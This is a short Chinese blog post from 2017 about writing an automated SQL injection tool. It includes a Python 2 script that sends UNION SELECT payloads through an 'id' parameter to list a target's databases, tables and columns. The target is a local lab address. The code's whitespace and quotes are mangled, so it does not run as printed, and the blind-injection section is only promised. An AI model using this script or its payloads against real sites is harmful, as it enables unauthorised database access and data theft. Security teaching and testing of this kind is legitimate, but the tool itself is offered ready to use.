如何編寫一個SQL註入工具
阿新 • • 發佈:2017-08-03
input 簡單 0x03 http images 構造 config dal nio
0x01 前言
一直在思考如何編寫一個自動化註入工具,這款工具不用太復雜,但是可以用最簡單、最直接的方式來獲取數據庫信息,根據自定義構造的payload來繞過防護,這樣子就可以。
0x02 SQL註入工具
A、聯合查詢
union select 實現起來最為簡單,報錯註入的實現方式也基本一致,主要思路:獲取所有數據庫名--選擇數據庫--查看這個數據庫下所有表---選擇表--查詢這個表下所有列名。
代碼詳情:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import requests import urllib import re values={} defget(url,values): data = urllib.urlencode(values) geturl = url+‘?‘+data response = requests.get(geturl) result=response.content find_list=re.findall(r"qwe~(.+?)~qwe", result) if len(find_list)>0: return find_list def get_database_name(url): values[‘id‘] = "1 and 1=2 union select 1,concat(0x7177657E,schema_name,0x7E717765) from INFORMATION_SCHEMA.SCHEMATA" name_list=get(url,values) print ‘The databases:‘ for i in name_list: print i+" ", print "\n" def table_name(url): database_name=raw_input(‘please input your database:‘) values[‘id‘] = "1 union select 1,concat(0x7177657E,table_name,0x7E717765) from information_schema.tables where table_schema="+"‘"+database_name+"‘" name_list=get(url,values) print ‘The table is :‘ for i in name_list: print i+" ", print "\n" def column_name(url): table_name=raw_input(‘please input your table:‘) values[‘id‘] = "1 union select 1,concat(0x7177657E,column_name,0x7E717765) from information_schema.columns where table_name="+"‘"+table_name+"‘" name_list=get(url,values) print ‘The column is :‘ for i in name_list: print i+" ", if __name__ == ‘__main__‘: url=‘http://192.168.106.130/config/sql.php‘ get_database_name(url) table_name(url) column_name(url)
運行效果:
B、盲註
盲註的腳本,手裏已實現一份,但總感覺代碼不過簡潔,優化一下再發出來
0x03 待續
如何編寫一個SQL註入工具